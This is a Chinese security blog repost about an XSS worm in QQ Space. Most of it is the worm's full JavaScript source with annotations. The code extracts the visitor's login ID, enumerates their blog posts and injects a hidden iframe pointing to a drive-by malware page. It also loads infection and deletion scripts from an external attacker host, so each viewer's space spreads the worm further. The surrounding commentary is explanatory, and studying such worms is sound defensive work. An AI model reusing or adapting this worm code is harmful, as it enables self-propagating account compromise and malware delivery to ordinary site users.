首页 > 网络安全 > QQ空间XSS-worm漏洞

QQ空间XSS-worm漏洞

      QQ空间XSS-worm漏洞
      发现一篇比较猛的文章,特意贴上来。
      Source:http://luanx.blogbus.com/logs/38529803.html (乱雪的博客),做部分修改。

      XSS代码来源:http://forum.eviloctal.com/viewthread.php?tid=35024

      XSS攻击已经很主流了,它的危害可不是仅仅弹出个alert来吓唬象我这样善良的人了,可以引用一个外部的JS文件,并且控制JS文件的内容,实现XSS蠕虫。最刺激的也就是利用Ajax来写XSS蠕虫了,也是web2.0主流攻击手段了吧。如今网上社区形式的博客空间很多,只要出现XSS并且能够写出XSS蠕虫,基本上可以消灭很多用户,一访问中招的空间,那么你的空间也就被感染,它不像个人电脑一样打补丁来避免自己博客被XSS攻击,本身网站程序问题就直接影响到所有博客用户,也就是一个地方出漏洞,所有博客用户都会可能被攻击。XSS蠕虫继承传统蠕虫病毒的特点,通过互访形式传播感染。

      至于危害,比如轻一点就弹个alert吓唬吓唬你,或者利用浏览器漏洞挂马等等。

      XSS蠕虫的核心思路:

      1.发现跨站漏洞并且能够写利用XSS蠕虫。

      2.利用一个博客空间进行跨站(传播源头)。

      3.当其他用户来访问这个被感染的空间时,XSS蠕虫做以下事情:

      (1).判断用户是否登录,如果登录了就继续从第二步做起走;没登录做其他的事情,自由发挥,比如弹个alert或者其他。

      (2).继续判断该用户是否被感染,如果没有感染就将它感染;如果感染了就算了。

      大概过程如上。

      QQ空间XSS代码及注释:

复制内容到剪贴板程序代码程序代码
function killErrors() {return true;}
window.onerror=killErrors;

var shendu;shendu=4;
//—————global—v——————————————
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
var myblogurl=new Array();var myblogid=new Array();
        var gurl=document.location.href;
        var gurle=gurl.indexOf("com/");
        gurl=gurl.substring(0,gurle+3);        
        var visitorID=top.document.documentElement.outerHTML;
           var cookieS=visitorID.indexOf("g_iLoginUin = ");
        visitorID=visitorID.substring(cookieS+14);
        cookieS=visitorID.indexOf(",");
        visitorID=visitorID.substring(0,cookieS);
        get_my_blog(visitorID);
        DOshuamy();

//挂马
function DOshuamy(){
var ssr=document.getElementById("veryTitle");
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.tkbbs.com/1.html'></iframe>");
}

//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
function get_my_blog(visitorID){
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
   if(xhr){    //成功就执行下面的
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
     xhr.send();guest=xhr.responseText;
     get_my_blogurl(guest);    //执行这个函数
    }
}

//这里似乎是判断没有登录的
function get_my_blogurl(guest){
  var mybloglist=guest;
  var myurls;var blogids;var blogide;
  for(i=0;i<shendu;i++){
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中“selectBlog“字符串,干什么的就不知道了
     if(myurls!=-1){    //找到了就执行下面的
         mybloglist=mybloglist.substring(myurls+11);
         myurls=mybloglist.indexOf(')');
         myblogid[i]=mybloglist.substring(0,myurls);
        }else{break;}
}
get_my_testself();    //执行这个函数
}

//这里往哪跳就不知道了
function get_my_testself(){
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid[i]+"&r="+Math.random();
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
      if(xhr2){        //如果成功
              xhr2.open("GET",url,false);     //打开上面的那个url
              xhr2.send();
              guest2=xhr2.responseText;
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串,找它做什么?
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
              if(mycheckmydoit!="-1"){    //返回-
1则代表没找到
                targetblogurlid=myblogid[i];    
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
                break;
               }
              if(mycheckit=="-1"){
                targetblogurlid=myblogid[i];
                add_js(visitorID,targetblogurlid,gurl);    //执行它
                break;
               }
        }      
}
}

//————————————–  
//根据浏览器创建一个XMLHttpRequest对象
function createXMLHttpRequest(){
    var XMLhttpObject=null;  
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
    else  
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
        for(var i=0;i<MSXML.length;i++)  
        {  
            try  
            {  
                XMLhttpObject=new ActiveXObject(MSXML[i]);  
                break;  
            }  
            catch (ex) {  
            }  
         }  
      }
return XMLhttpObject;
}  

//这里就是感染部分了
function add_js(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}

function add_jsdel(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}

      目前这个代码是以弹出广告的形式出现的,估计是出于商业利益驱动;如果将代码替换成蠕虫病毒,那么其结果将是“祖国江山一片红”,大片大片的电脑将中招。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/238

  1. 还没有评论
评论提交中, 请稍候...

留言



注意: 您给他人的评论回复将通过邮件通知到对方。

可以使用的标签: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>
Trackbacks & Pingbacks ( 0 )
  1. 还没有 trackbacks